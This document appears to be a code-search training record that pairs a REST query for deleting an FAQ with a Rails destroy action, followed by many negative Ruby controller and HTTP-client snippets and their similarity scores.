"def update\n @question = Question.find(params[:id])\n\n respond_to do |format|\n if @question.update_attributes(params[:question])\n format.html { redirect_to @question, notice: 'Question was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @question.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @question = Question.find(params[:id])\n\n respond_to do |format|\n if @question.update_attributes(params[:question])\n format.html { redirect_to @question, notice: 'Question was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @question.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @question = Question.find(params[:id])\n\n respond_to do |format|\n if @question.update_attributes(params[:question])\n format.html { redirect_to @question, notice: 'Question was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @question.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update_question\n @question = Question.find(params[:id])\n @question.update(params[:question])\n redirect \"/questions/#{@question.id}\"\n end",
"def faq_params\n params.require(:faq).permit(:question, :answer)\n end",
"def update\n @quest = Quest.find(params[:id])\n\n respond_to do |format|\n if @quest.update_attributes(params[:quest])\n format.html { redirect_to @quest, notice: 'Quest was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @quest.errors, status: :unprocessable_entity }\n end\n end\n end",
"def put(path, opts = {})\n request(:put, path, opts).body\n end",
"def update\n respond_to do |format|\n if @quiz.update(quiz_params)\n format.html { redirect_to quizzes_path, notice: 'Quiz was successfully updated.' }\n format.json { render :show, status: :ok, location: @quiz }\n else\n format.html { render :edit }\n format.json { render json: @quiz.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @quiz.update(quiz_params)\n format.html { redirect_to quizzes_path, notice: 'Quiz was successfully updated.' }\n format.json { render :show, status: :ok, location: @quiz }\n else\n format.html { render :edit }\n format.json { render json: @quiz.errors, status: :unprocessable_entity }\n end\n end\n end",
"def index\n @faqs = Faq.all\n\n render json: @faqs\n end",
"def update\n @question = Question.find(params[:id])\n\n respond_to do |format|\n if @question.update_attributes(params[:question])\n format.html { redirect_to @question.course, notice: 'Question was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @question.errors, status: :unprocessable_entity }\n end\n end\n end",
"def manage_question(body)\n upload_questions(JSON.parse(body)['questions'])\n get_questions\nend",
"def update\n respond_to do |format|\n if @question.update(question_params)\n @question_link = QuizQuestion.find_by_id(@question.questionid)\n @question_link.update(:points => params[:points])\n @quiz = Quiz.find_by_id(@question_link.quizid)\n format.html { redirect_to admin_quiz_path(@quiz), notice: 'Quiz multiple choice question was successfully updated.' }\n format.json { render :show, status: :ok, location: @question }\n else\n format.html { render :edit }\n format.json { render json: @question.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @faq = Faq.find(params[:id])\n\n @faq.assign_attributes(params[:faq])\n\n add_missing_translation_content(@faq.faq_translations)\n\n respond_to do |format|\n if @faq.save\n format.html { redirect_to admin_faq_path(@faq), notice: t('app.msgs.success_updated', :obj => t('activerecord.models.faq')) }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @faq.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @api_v1_question.update(api_v1_question_params)\n format.html { redirect_to @api_v1_question, notice: 'Question was successfully updated.' }\n format.json { render :show, status: :ok, location: @api_v1_question }\n else\n format.html { render :edit }\n format.json { render json: @api_v1_question.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @question = Question.find(params[:id])\n @question.update_attributes(params[:question])\n render :json => @question.id if @question.save\n # respond_to do |format|\n # if @question.update_attributes(params[:question])\n # format.html { redirect_to(@question, :notice => 'Question was successfully updated.') }\n # format.xml { head :ok }\n # else\n # format.html { render :action => \"edit\" }\n # format.xml { render :xml => @question.errors, :status => :unprocessable_entity }\n # end\n # end\n end",
"def update\n if @v1_question.update(v1_question_params)\n render json: @v1_question, status: :ok\n else\n render json: get_errors, status: :unprocessable_entity\n end\n end",
"def update\n respond_to do |format|\n if @questionfife.update(questionfife_params)\n format.html { redirect_to @questionfife, notice: 'Questionfive was successfully updated.' }\n format.json { render :show, status: :ok, location: @questionfife }\n else\n format.html { render :edit }\n format.json { render json: @questionfife.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @question = Question.find(params[:question_id])\n respond_to do |format|\n if @question.update(question_params)\n @question.create_activity :update, owner: (current_user)\n format.html { redirect_to @question, notice: 'Question was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @question.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @quiz.update(quiz_params)\n format.html { redirect_to @quiz, notice: 'Quiz was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @quiz.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @question = @quiz.questions.find(params[:id])\n\n respond_to do |format|\n if @question.update_attributes(params[:question])\n flash[:notice] = 'Question was successfully updated.'\n format.html { redirect_to(quiz_questions_path(@quiz)) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @question.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def faq_params\n params.require(:major_faq).permit(:question, :answer)\n end",
"def update\n @question = Question.find(params[:id])\n\n respond_to do |format|\n if @question.update_attributes(params[:question])\n format.html { redirect_to new_question_path, notice: 'questions was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @question.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @question = Question.find(params[:id])\n\n respond_to do |format|\n if @question.update_attributes(question_params)\n format.html { redirect_to @question, notice: 'Question was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @question.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @star_fact = Star::Fact.find(params[:id])\n\n respond_to do |format|\n if @star_fact.update_attributes(params[:star_fact])\n format.html { redirect_to @star_fact, notice: 'Fact was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @star_fact.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @questions = Question.all\n @categories = [\"Learning from Labs\", \"Lab Instructor\", \"Lab Space and Equipment\", \"Time Required to Complete Labs\", \"Lecture Section Instructor\"]\n respond_to do |format|\n if @survey.update(survey_params)\n format.html { redirect_to @survey, notice: 'Survey was successfully submitted.' }\n format.json { render :show, status: :ok, location: @survey }\n\n # Update 'completed' attribute to true\n submission = Survey.find_by(survey_ID: @survey.survey_ID)\n submission.update(status: true)\n\n # Increment 'completed' attribute for section\n @section = Section.find_by(class_num: @survey.class_num)\n @section.update(completed: @section.completed + 1)\n\n\n else\n format.html { render :edit }\n format.json { render json: @survey.errors, status: :unprocessable_entity }\n end\n end\n end",
"def put(id, json)\n with_endpoint do |endpoint|\n url = [endpoint, @resource_name, id].compact.join('/')\n url += \"/\" \n return HTTParty.put(url, :body => json, :timeout => 4, :headers => { 'Content-Type' => 'application/json' })\n end\n end",
"def update\n respond_to do |format|\n if @quiz.update(quiz_params)\n format.html { redirect_to @quiz, notice: 'Quiz was successfully updated.' }\n format.json { render :show, status: :ok, location: @quiz }\n else\n format.html { render :edit }\n format.json { render json: @quiz.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @quiz.update(quiz_params)\n format.html { redirect_to @quiz, notice: 'Quiz was successfully updated.' }\n format.json { render :show, status: :ok, location: @quiz }\n else\n format.html { render :edit }\n format.json { render json: @quiz.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @quiz.update(quiz_params)\n format.html { redirect_to @quiz, notice: 'Quiz was successfully updated.' }\n format.json { render :show, status: :ok, location: @quiz }\n else\n format.html { render :edit }\n format.json { render json: @quiz.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @question = Question.update(params[:id], { \n :body => params[:body], \n :answer_type => params[:answer_type] }, \n params[:answers].values\n )\n\n respond_to do |format|\n format.json { render :json => @question.as_json({:include => :answers}) }\n\n # if @question.update_attributes(params[:question])\n # format.html { redirect_to @question, :notice => 'Question was successfully updated.' }\n # format.json { head :no_content }\n # else\n # format.html { render :action => \"edit\" }\n # format.json { render :json => @question.errors, :status => :unprocessable_entity }\n # end\n end\n end",
"def faq_params\n params.require(:faq).permit(:question, :answer, :rank, :business_id)\n end",
"def update\n respond_to do |format|\n if @qweet.update(qweet_params)\n format.html { redirect_to @qweet, notice: \"Qweet was successfully updated.\" }\n format.json { render :show, status: :ok, location: @qweet }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @qweet.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @quizzes_answer.update(quizzes_answer_params)\n format.html { redirect_to quiz_assessments_path(@quizzes_answer.assessment.quiz) }\n format.json { render :show, status: :ok, location: @quizzes_answer }\n else\n format.html { render :edit }\n format.json { render json: @quizzes_answer.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @question = Question.find(params[:id])\n @quiz = Quiz.find(params[:id])\n if @quiz.update(quiz_params)\n flash[:success] = \"Quiz updated\"\n redirect_to @quiz\n else\n render 'edit'\n end\n end",
"def update\n @concept = Concept.find(params[:id])\n\n respond_to do |format|\n if @concept.update_attributes(params[:concept])\n format.html { redirect_to @concept, notice: 'Concept was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @concept.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @concept = Concept.find(params[:id])\n\n respond_to do |format|\n if @concept.update_attributes(params[:concept])\n format.html { redirect_to @concept, notice: 'Concept was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @concept.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @todo = Todo.find(params[:id])\n if @todo.update_attributes(todo_params)\n render json: @todo, status: :ok\n else\n render json: @todo.errors, status: 422\n end\n end",
"def update\n @qa = Qa.find(params[:id])\n\n respond_to do |format|\n if @qa.update_attributes(params[:qa])\n format.html { redirect_to(@qa, :notice => 'Qa was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @qa.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @todo = Todo.find(params[:id])\n if @todo.update(todo_params)\n render json: @todo\n else\n render json: @todo.errors, status: :unprocessable_entity\n end\n end",
"def single_quiz_update\r\n #allow receiving all parameters\r\n params.permit!\r\n #response format pre-defined\r\n result = {\"str_id\" => nil, :status => \"\", :message => \"\" }\r\n begin\r\n current_quiz = Mongodb::BankQuizQiz.find_by(id: params[:str_id])\r\n current_quiz.save_quiz(params)\r\n result[:str_id]=current_quiz._id\r\n flash[:notice] = I18n.t(\"quizs.messages.update.success\" , :id => current_quiz._id)\r\n result[:status] = 200\r\n result[:message] = I18n.t(\"quizs.messages.update.success\", :id => current_quiz._id)\r\n rescue Exception => ex\r\n result[:status] = 500\r\n result[:message] = I18n.t(\"quizs.messages.update.fail\", :id => current_quiz._id)\r\n ensure\r\n render json: result.to_json\r\n end\r\n end",
"def update\n #@question = Question.find(params[:id])\n respond_to do |format|\n if @question.update_attributes(params[:question])\n format.html { redirect_to @question, notice: t('alert.question.update_success', default: 'Question was successfully updated.') }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @question.errors, status: :unprocessable_entity }\n end\n end\n end",
"def put(*args)\n request(:put, *args)\n end",
"def update\n respond_to do |format|\n if @quiz.update(quiz_params)\n format.html {\n redirect_to discipline_topic_quiz_path(@discipline, @topic, @quiz), notice: 'Quiz was successfully updated.'\n }\n format.json { render :show, status: :ok, location: @quiz }\n else\n format.html { render :edit }\n format.json { render json: @quiz.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @admin_academy_question.update(admin_academy_question_params)\n format.html { redirect_to @admin_academy_question, notice: 'Question was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @admin_academy_question.errors, status: :unprocessable_entity }\n end\n end\n end",
"def test_update_post\n data = {\n title: \"Roll lemon\",\n content: \"Gingerbread bear claw muffin danish danish marzipan. Toffee lollipop wafer carrot cake dessert.\",\n description: \"Chocolate tootsie roll lemon drops. Chupa chups chocolate bar apple pie\",\n image: \"chocolate.png\",\n status: 1\n }\n expected = 200\n post_id = 1\n uri = URI.parse('http://localhost:3000/v1/posts/'+post_id.to_s)\n http = Net::HTTP.new(uri.host,uri.port)\n request = Net::HTTP::Put.new(uri.path)\n request.set_form_data(data)\n response = http.request(request)\n actual = JSON.parse(response.body)\n result = assert_equal(expected,actual['meta']['code'])\n puts this_method_name + \" - \" + result.to_s\n end",
"def update_job_success(job_id, success)\n RestClient.put \"#{rest_jobs_url}/#{job_id}\", {\"passed\" => success}.to_json, :content_type => :json\nend",
"def update_student_question_scores_and_comments(course_id,quiz_id,id,attempt,opts={})\n query_param_keys = [\n \n ]\n\n form_param_keys = [\n :attempt,\n :fudge_points,\n :questions,\n \n ]\n\n # verify existence of params\n raise \"course_id is required\" if course_id.nil?\n raise \"quiz_id is required\" if quiz_id.nil?\n raise \"id is required\" if id.nil?\n raise \"attempt is required\" if attempt.nil?\n # set default values and merge with input\n options = underscored_merge_opts(opts,\n :course_id => course_id,\n :quiz_id => quiz_id,\n :id => id,\n :attempt => attempt\n )\n\n # resource path\n path = path_replace(\"/v1/courses/{course_id}/quizzes/{quiz_id}/submissions/{id}\",\n :course_id => course_id,\n :quiz_id => quiz_id,\n :id => id)\n headers = nil\n form_params = select_params(options, form_param_keys)\n query_params = select_params(options, query_param_keys)\n if opts[:next_page]\n pagination_params = page_params_load(:put, path)\n query_params.merge! pagination_params if pagination_params\n end\n response = mixed_request(:put, path, query_params, form_params, headers)\n page_params_store(:put, path)\n response\n \n end",
"def update\n respond_to do |format|\n if @quiz.update(quiz_params)\n format.html { redirect_to current_user, notice: 'Quiz was successfully updated.' }\n format.json { render :show, status: :ok, location: @quiz }\n else\n format.html { render :edit }\n format.json { render json: @quiz.errors, status: :unprocessable_entity }\n end\n end\n end",
"def set_faq\n @faq = Faq.find(params[:id])\n end",
"def update\n @gotcha = Gotcha.find(params[:id])\n\n respond_to do |format|\n if @gotcha.update_attributes(params[:gotcha])\n format.html { redirect_to @gotcha, notice: 'Gotcha was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @gotcha.errors, status: :unprocessable_entity }\n end\n end\n end"
] |
[
"0.7245404",
"0.6496175",
"0.633799",
"0.627388",
"0.60901546",
"0.608596",
"0.608596",
"0.6078146",
"0.6078146",
"0.60516375",
"0.6036375",
"0.5939026",
"0.59150714",
"0.5889679",
"0.5871437",
"0.58273745",
"0.58210176",
"0.5818731",
"0.5816156",
"0.57945573",
"0.57505107",
"0.57421595",
"0.5738458",
"0.57080764",
"0.56981224",
"0.56977993",
"0.569118",
"0.56897235",
"0.56794196",
"0.5672028",
"0.5664064",
"0.5659031",
"0.56551564",
"0.5647462",
"0.564685",
"0.56445426",
"0.5641272",
"0.56344694",
"0.56339574",
"0.56281334",
"0.5624772",
"0.5612764",
"0.5590818",
"0.5589547",
"0.5588396",
"0.5587119",
"0.55769175",
"0.55769175",
"0.55769175",
"0.55769175",
"0.55769175",
"0.55643296",
"0.55612385",
"0.55575794",
"0.55550593",
"0.55542386",
"0.5548754",
"0.5548754",
"0.5548181",
"0.5547665",
"0.55474865",
"0.55459476",
"0.5540983",
"0.553821",
"0.5533814",
"0.5531331",
"0.5528271",
"0.55279136",
"0.55235046",
"0.55219144",
"0.55207473",
"0.55137336",
"0.55040604",
"0.5503654",
"0.5502869",
"0.54931873",
"0.5484599",
"0.5484599",
"0.5484599",
"0.5476984",
"0.5465455",
"0.5453566",
"0.54532135",
"0.5448418",
"0.5447789",
"0.5447789",
"0.54429746",
"0.5441088",
"0.54398865",
"0.5438133",
"0.54353297",
"0.54347837",
"0.54335296",
"0.54320174",
"0.5431927",
"0.5423481",
"0.54194266",
"0.5419415",
"0.5411036",
"0.54107213"
] |
0.63020533
|
3
|
DELETE /faqs/1 DELETE /faqs/1.json
|
def destroy
@faq = Helpdesk::Faq.find(params[:id])
@faq.destroy
respond_to do |format|
format.html { redirect_to admin_faqs_url }
format.json { head :no_content }
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def destroy\n @faq = Faq.find(params[:id])\n @faq.destroy\n\n respond_to do |format|\n format.html { redirect_to admin_faqs_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @admin_faq.destroy\n respond_to do |format|\n format.html { redirect_to admin_faqs_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @qa = Qa.find(params[:id])\n @qa.destroy\n\n respond_to do |format|\n format.html { redirect_to qas_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @faq = Faq.find(params[:id])\n @faq.destroy\n\n respond_to do |format|\n format.html { redirect_to(faqs_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @faq = Faq.find(params[:id])\n @faq.destroy\n\n respond_to do |format|\n format.html { redirect_to(faqs_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @faq.destroy\n respond_to do |format|\n format.html { redirect_to faqs_url, notice: 'Faq was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @faq.destroy\n respond_to do |format|\n format.html { redirect_to faqs_url, notice: 'Faq was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @quiz.destroy\n respond_to do |format|\n format.json { head :no_content }\n end\n end",
"def delete\n client.delete(\"/#{id}\")\n end",
"def destroy\n @faq_category = FaqCategory.find(params[:id])\n @faq_category.destroy\n\n respond_to do |format|\n format.html { redirect_to faq_categories_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @tutorial_quest = Tutorial::Quest.find(params[:id])\n @tutorial_quest.destroy\n\n respond_to do |format|\n format.html { redirect_to tutorial_quests_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @faq = Faq.find(params[:id])\n @faq.destroy\n respond_with(@faq)\n end",
"def destroy\n @exam = Exam.find(params[:id])\n @exam.destroy\n\n respond_to do |format|\n format.html { redirect_to exams_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @faq_section.destroy\n respond_to do |format|\n format.html { redirect_to faq_sections_url, notice: \"Faq section was successfully destroyed.\" }\n format.json { head :no_content }\n end\n end",
"def destroy\n @quiz = Quiz.find(params[:id])\n @quiz.destroy\n\n respond_to do |format|\n format.html { redirect_to quizzes_url }\n format.json { head :ok }\n end\n end",
"def delete_questions\n response = Request.delete_request(URL_QUESTION)\n if response.success?\n redirect '/upload-csv'\n end\nend",
"def deletef\n url = prefix + \"deletef\" + id_param\n return response(url)\n end",
"def destroy\n @my_exam = MyExam.find(params[:id])\n @my_exam.destroy\n\n respond_to do |format|\n format.html { redirect_to my_exams_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @faq_item.destroy\n respond_to do |format|\n format.html { redirect_to faq_items_url, notice: \"Faq item was successfully destroyed.\" }\n format.json { head :no_content }\n end\n end",
"def destroy\n @qa.destroy\n respond_to do |format|\n format.html { redirect_to qas_url, notice: 'Qa was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @quiz.destroy\n respond_to do |format|\n format.html { redirect_to quizzes_url }\n format.json { head :no_content }\n end\n end",
"def cfa_delete\n Rails.logger.info_log.info \" I,[#{Time.now.strftime(\"%Y-%m-%d %H:%M:%S %Z\")}]\" \"INFO -- : Entered in cfa titles cfa_delete method\"\n begin\n id=params[\"format\"] \n cfa=RestClient.delete $api_service+'/cfa_titles/'+id\n rescue =>e\n Rails.logger.custom_log.error { \"#{e} Cfa controller delete method\" }\n end\n redirect_to action: \"index\"\n end",
"def destroy\n @quest = Quest.find(params[:id])\n @quest.destroy\n\n respond_to do |format|\n format.html { redirect_to quests_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @exam.destroy\n respond_to do |format|\n format.html { redirect_to exams_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @faqcat.destroy\n respond_to do |format|\n format.html { redirect_to root_url, notice: 'Faqcat was successfully destroyed.' }\n #format.json { head :no_content }\n end\n end",
"def destroy\n\t\t\tids = []\n\t\t\ti = 0\n\n\t\t\twhile ( params[\"_json\"][i] != nil ) do\n\t\t\t\tids << (params[\"_json\"][i][\"id\"]).to_i \n\t\t\t\ti = i + 1\n\t\t\tend\n\n\t\t\tids.each do |id|\n\t\t\t\tif (current_instructor.quizzes.exists?(:id => id))\n\t\t\t\t\tquiz = Quiz.find(id) \n\t\t\t\t\tquiz.questions.each do |question|\n\t\t\t\t\t\tquestion.destroy\n\t\t\t\t\tend\n\t\t\t\t\tquiz.destroy\n\t\t\t\tend\n\t\t\tend\n\t\t\trender json: {info:\"deleted\"}, status: 200\t\t\n\t\tend",
"def destroy\n @q = Q.find_by_unique_id(params[:id])\n @q.destroy\n\n respond_to do |format|\n format.html { redirect_to qs_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @gotcha = Gotcha.find(params[:id])\n @gotcha.destroy\n\n respond_to do |format|\n format.html { redirect_to gotchas_url, notice: 'Gotcha was successfully removed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @question = Question.find(params[:id])\n @question.destroy\n\n respond_to do |format|\n format.html { redirect_to api_v1_questions_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @archive_faq = ArchiveFaq.find(params[:id])\n @archive_faq.destroy\n\n respond_to do |format|\n format.html { redirect_to(archive_faqs_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @examquestion.destroy\n respond_to do |format|\n format.html { redirect_to examquestions_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @faq = Faq.find(params[:id]).destroy\n respond_to do |format|\n format.html { \n flash[:notice] = \"FAQ #{@faq.id} destroyed\"\n redirect_to(:action => 'index', :faq_group_id => @group.id)\n }\n format.json { head :no_content }\n end\n end",
"def delete\n render :json => @fiestas.delete_at(params[:id].to_i)\n end",
"def destroy\n @foam = Foam.find(params[:id])\n @foam.destroy\n\n respond_to do |format|\n format.html { redirect_to foams_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @qa = Qa.find(params[:id])\n @qa.destroy\n\n respond_to do |format|\n format.html { redirect_to(qas_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @qa = Qa.find(params[:id])\n @qa.destroy\n\n respond_to do |format|\n format.html { redirect_to(qas_url) }\n format.xml { head :ok }\n end\n end",
"def delete!( opts = {} )\n http_action :delete, nil, opts\n end",
"def destroy\n @quick_answer = QuickAnswer.find(params[:id])\n @quick_answer.destroy\n\n respond_to do |format|\n format.html { redirect_to quick_answers_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @exam_category = ExamCategory.find(params[:id])\n @exam_category.destroy\n\n respond_to do |format|\n format.html { redirect_to exam_categories_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @fascicle.destroy\n respond_to do |format|\n format.html { redirect_to fascicles_url }\n format.json { head :no_content }\n end\n end",
"def delete path\n make_request(path, \"delete\", {})\n end",
"def destroy\n @faq.destroy\n head :no_content\n end",
"def destroy\n @question.destroy\n\n respond_to do |format|\n format.html { redirect_to quiz_path(@question.subsection_id) }\n format.json { head :no_content }\n end\n end",
"def destroy\n @rnaseq = Rnaseq.find(params[:id])\n @rnaseq.destroy\n\n respond_to do |format|\n format.html { redirect_to rnaseqs_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @questionnaire.destroy\n respond_to do |format|\n format.html { redirect_to questionnaires_url }\n format.json { head :no_content }\n end\n end",
"def delete\n request(:delete)\n end",
"def destroy\n @api_v1_todo.destroy\n respond_to do |format|\n format.json { head :no_content }\n end\n end",
"def delete(*rest) end",
"def delete!\n request! :delete\n end",
"def destroy\n @quicklink.destroy\n respond_to do |format|\n format.html { redirect_to quicklinks_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @aquarium = Aquarium.find(params[:id])\n @aquarium.destroy\n\n respond_to do |format|\n format.html { redirect_to aquaria_url }\n format.json { head :no_content }\n end\n end",
"def delete\n res = HTTParty.get URL, headers: HEADERS\n message = JSON.parse res.body, symbolize_names: true\n if res.code == 200\n numSubs = message[:data].count\n if numSubs > 0\n message[:data].each do |sub|\n id = sub[:id]\n delRes = HTTParty.delete \"#{URL}/#{id}\", headers: HEADERS\n #TODO handle status codes\n end\n end\n end\n end",
"def destroy\n @faq.destroy\n respond_to do |format|\n format.html { redirect_to faqs_url, notice: 'Faq was successfully destroyed.' }\n format.json { head :no_content }\n format.js\n end\n end",
"def delete\n supprimer = QuestionOuverteService.instance.supprimerQuestion(params[:id])\n (supprimer) ? (render json: true, status: :ok) : (render json: false, status: :not_found)\n end",
"def destroy\n @exam.destroy\n respond_to do |format|\n format.html { redirect_to course_exams_url(@exam.course_id) }\n format.json { head :no_content }\n end\n end",
"def destroy\n @q.destroy\n respond_to do |format|\n format.html { redirect_to qs_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @recommend_recommend_quiz = Recommend::RecommendQuiz.find(params[:id])\n @recommend_recommend_quiz.destroy\n\n respond_to do |format|\n format.html { redirect_to recommend_recommend_quizzes_url }\n format.json { head :no_content }\n end\n end",
"def delete(id)\n request(:delete, \"/recipes/#{id}.json\")\n end",
"def destroy\n #@question = Question.find(params[:id])\n @question.destroy\n\n respond_to do |format|\n format.html { redirect_to questions_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @add_quizid_to_quesiton.destroy\n respond_to do |format|\n format.html { redirect_to add_quizid_to_quesitons_url, notice: 'Add quizid to quesiton was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @questionnaire = Questionnaire.find(params[:id])\n @questionnaire.destroy\n\n respond_to do |format|\n format.html { redirect_to questionnaires_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @questionnaire = Questionnaire.find(params[:id])\n @questionnaire.destroy\n\n respond_to do |format|\n format.html { redirect_to questionnaires_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @rfq = Rfq.find(params[:id])\n @rfq.destroy\n\n respond_to do |format|\n format.html { redirect_to rfqs_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @question = Question.find(params[:id])\n @question.destroy\n\n respond_to do |format|\n format.html { redirect_to questions_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @question = Question.find(params[:id])\n @question.destroy\n\n respond_to do |format|\n format.html { redirect_to questions_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @question = Question.find(params[:id])\n @question.destroy\n\n respond_to do |format|\n format.html { redirect_to questions_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @question = Question.find(params[:id])\n @question.destroy\n\n respond_to do |format|\n format.html { redirect_to questions_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @question = Question.find(params[:id])\n @question.destroy\n\n respond_to do |format|\n format.html { redirect_to questions_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @question = Question.find(params[:id])\n @question.destroy\n\n respond_to do |format|\n format.html { redirect_to questions_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @question = Question.find(params[:id])\n @question.destroy\n\n respond_to do |format|\n format.html { redirect_to questions_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @question = Question.find(params[:id])\n @question.destroy\n\n respond_to do |format|\n format.html { redirect_to questions_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n # @exam.destroy\n respond_to do |format|\n format.html { redirect_to exams_url, notice: 'Exam was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @todo3.destroy\n respond_to do |format|\n format.html { redirect_to todo3s_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @tutorial = Tutorial.find(params[:id])\n @tutorial.destroy\n render json: @tutorial\n end",
"def delete(path)\n RestClient.delete request_base+path\n end",
"def destroy\n @completed_quest = CompletedQuest.find(params[:id])\n @completed_quest.destroy\n\n respond_to do |format|\n format.html { redirect_to completed_quests_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @question = Question.find(params[:id])\n @question.destroy\n\n respond_to do |format|\n format.html { redirect_to questions_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @question = Question.find(params[:id])\n @question.destroy\n\n respond_to do |format|\n format.html { redirect_to questions_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @qu = Qu.find(params[:id])\n @qu.destroy\n\n respond_to do |format|\n format.html { redirect_to qus_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @requisition.destroy\n respond_to do |format|\n format.html { redirect_to :back }\n format.json { head :no_content }\n end\n end",
"def destroy\n @altoq.destroy\n respond_to do |format|\n format.html { redirect_to altoqs_url, notice: 'Altoq was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @aactio = Aactio.find(params[:id])\n @aactio.destroy\n\n respond_to do |format|\n format.html { redirect_to aactios_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @faafacility = Faafacility.find(params[:id])\n @faafacility.destroy\n\n respond_to do |format|\n format.html { redirect_to faafacilities_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @quiz.destroy\n respond_to do |format|\n format.html { redirect_to lesson_url(current_lesson), notice: \"Quiz was successfully deleted.\" }\n format.json { head :no_content }\n end\n end",
"def delete\n client.delete(url)\n @deleted = true\nend",
"def destroy\n return\n @quest.destroy\n respond_to do |format|\n format.html { redirect_to quests_url }\n format.json { head :no_content }\n end\n end",
